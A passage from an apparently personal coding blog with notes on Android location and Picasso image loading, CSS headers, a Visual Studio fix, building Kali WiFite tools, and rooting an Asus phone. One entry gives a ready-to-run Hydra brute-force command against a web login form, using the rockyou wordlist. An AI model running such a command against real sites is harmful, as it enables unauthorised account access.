setContentView(R.layout.main);
wargps = (EditText) findViewById(R.id.wargps);
locbtn = (Button) findViewById(R.id.locbtn);
locbtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
FusedLocationProviderClient fusedLocationProviderClient =
LocationServices.getFusedLocationProviderClient(getApplicationContext());
Task task = fusedLocationProviderClient.getLastLocation();
task.addOnSuccessListener(new OnSuccessListener() {
@Override
public void onSuccess(Location location) {
if(location!=null) {
wargps.setText(location.getLatitude()+" "+location.getLongitude());
locbtn.setText("Got Location");
}}});
}
});
Nothing fancy, just a personal log with a built in search function so I can recall what is easily forgotten.
Saturday, April 20, 2019
Android FusedLocationProviderClient
Friday, March 15, 2019
Android Picasso vs s33me code
I spent several hours tweaking my own loading of images into an Android ListView. The problem was that the images would not load until I scrolled the screen and even then the lag was unacceptable.
My program performed the following:
Essentially, this produces statements like the following:
holder.imageView = (ImageView) convertView.findViewById(R.id.row_image);
holder.imageView.setImageBitmap(rowdata.getBitmap());
This is from inside the object rowdata
public Bitmap getBitmap() {
if (bitmapurl != null && !bitmapurl.equals("")) {
new ImageLoadAsync(context).execute(bitmapurl);
} else {
// default image if nothing from url
bitmap = BitmapFactory.decodeResource(context.getResources(), R.drawable.war4a);
}
return bitmap;
}
This is the background thread portion of the Async call:
@Override
protected Bitmap doInBackground(String... urls) {
String surl = urls[0];
Bitmap bm = null;
try {
URL imageUrl = new URL(surl);
bm = BitmapFactory.decodeStream(imageUrl.openStream());
} catch (IOException e) {
e.printStackTrace();
bm = BitmapFactory.decodeResource(context.getResources(), R.drawable.war4a);
}
return bm;
}
This is just a portion of the cumbersome code. As an experienced programmer, I should have known not to reinvent the wheel, but I just could not help myself
At the end of the day, this line of code replaced all that nonsense
Picasso.with(context).load(rowdata.getBitmapUrl()).into(holder.imageView);
Wednesday, February 13, 2019
HTML / CSS Freeze Page Header
Below is my code. The "bottom" and "top" parameters seem to be the key; however, be advised that I have not yet tested this on a variety of screen configurations.
#titlepane {
float:left;
background-color: #ffffff;
width:100%;
padding:10px;
bottom:65%;
position: fixed;
box-shadow: 8px 8px 10px #999999;
z-index:2;
}
#scrollbelowtitle {
position:fixed;
float: left;
clear:left;
top: 35%;
padding: 10px;
height: 500px;
width: 100%;
overflow-y: scroll;
z-index:1;
}
Sunday, February 3, 2019
Hydra Command Line Arguments on Lenovo Yoga Book/Debian Linux.
Example of Hydra command line arguments that seem to be running through the iterations.
sudo hydra -l myusername -P /usr/share/dict/rockyou.txt -o output.txt thetarget.com http-post-form "/login.cfm RetURL=%2FDefault%2Easp%3F:login_name=^USER^&password=^PASS^:S=logout myusername" -vV -f
Do not let this run through completion or to success if target.com is not a website that you own, unless you want to go to jail.
Sunday, December 30, 2018
Kali Linux WiFite missing hcxpcaptool and hcxdumptool
Go to the hcxdumptool git hub site
Find the clone of download drop down button.
Right click on download zip and copy the link address.
Open and Kali Linux terminal and type: wget [the link address], e.g. wget https://github.com/ZerBea/hcxdumptool/archive/master.zip
Wait for download then type unzip master.zip
CD (change directory) to hcxdumptool-master
Type make
Type sudo make install
Follow these same steps for the hcxpcaptool.
For example: wget https://github.com/ZerBea/hcxtools/archive/master.zip
You may find it first necessary to run the following:
sudo apt-get update
sudo apt-get install libssl-dev
sudo apt-get install openssl
sudo apt-get install zlib1g-dev
sudo apt-get install libpcap-dev
sudo apt-get install curl
sudo apt-get install libcurl4 ( or greater )
wget https://curl.haxx.se/download/curl-7.63.0.tar.gz
:~/tar -xvzf curl-7.48.0.tar.gz
:~/rm *.gz
:~/cd curl-7.48.0
:~/./configure
:~/sudo make
:~/sudo make install
Monday, December 10, 2018
Visual Studio C# Run Error
I am attempting to launch a project that I copied from another machine.
Unable to launch the IIS Express Web server.The start URL specified is not valid. https://localhost/.....
Need to dropdown [Project] -> [Web Properties] -> Un-check Override Application Root.
Then get on your motorcycle and reward yourself for a job well done.
Thursday, November 29, 2018
Root Asus Zenfone Laser ASUS_Z01BDC
This is more for my future reference than anything else
1. First of all, this model is actually a ZC551KL for which there is an unlock tool at Asus. After enabling Developer Mode and USB debugging, plug the Z01BDC aka ZC551KL to your PC. and follow these steps.1. Verify that the device is connected to your PC. Typically you'll see it as another drive.
2. Move the downloaded unlock tool from your PC to the Download folder on your device using Windows File Explorer.
3. Tap the APK file to install and run. You will see the device factory reset.
4. Wait for the device to display on-screen set up steps and follow them.
5. Get developer mode and enable USB debugging. Download USB driver if necessary from Phone USB Drivers.
6. Under Settings make a note of the Software information, e.g. WW-31.40.13.50-20170807. The model may still show ASUS_Z01BDC, but don't believe the hype. Ignore and continue.
7. Go to Asus support and download the firmware image that matches step 6. This is precautionary. Hopefully we will not need this download.
9. Download TWRP image to the ADB/Fastboot directory on your PC.
10. Download SuperUser to the ADB and Fastboot directory on your PC. 11. Rename the files recovery.img and su.zip to make the next command line instructions easier to type.
12. Assuming you have ADB and Fastboot installed on your PC, navigate to where you installed Android, ADB and Fastboot for example: C:\Users\SpiFi\AppData\Local\Android\sdk\platform-tools
13. Move the recovery and su files to the ADB and Fastboot directory.
14. Open a command line at that directory and type: "adb reboot bootloader". You should see that the device is unlocked.
15. In same command line window type: fastboot flash recovery recovery.img
16. Open command line window and navigate to the Fastboot and ADB directory, e.g.,
